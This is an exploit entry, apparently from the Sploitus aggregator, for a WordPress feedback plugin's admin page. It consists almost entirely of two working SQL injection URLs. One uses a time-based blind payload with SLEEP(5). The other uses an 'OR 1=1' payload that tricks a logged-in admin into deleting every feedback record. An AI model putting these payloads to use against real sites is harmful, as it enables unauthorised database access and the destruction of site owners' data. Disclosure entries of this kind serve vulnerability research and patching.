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## https://sploitus.com/exploit?id=WPEX-ID:CBD65B7D-D3C3-4EE3-8E5E-FF0EEEAA7B30
https://example.com/wp-admin/admin.php?page=jiangqie_ow_free_feedback&action=detail&id=1+AND+%28SELECT+%2A+FROM+%28SELECT%28SLEEP%285%29%29%29a%29

Could also make a logged in admin delete all the records: https://example.com/wp-admin/admin.php?page=jiangqie_ow_free_feedback&action=delete&id=1+OR+1%3D1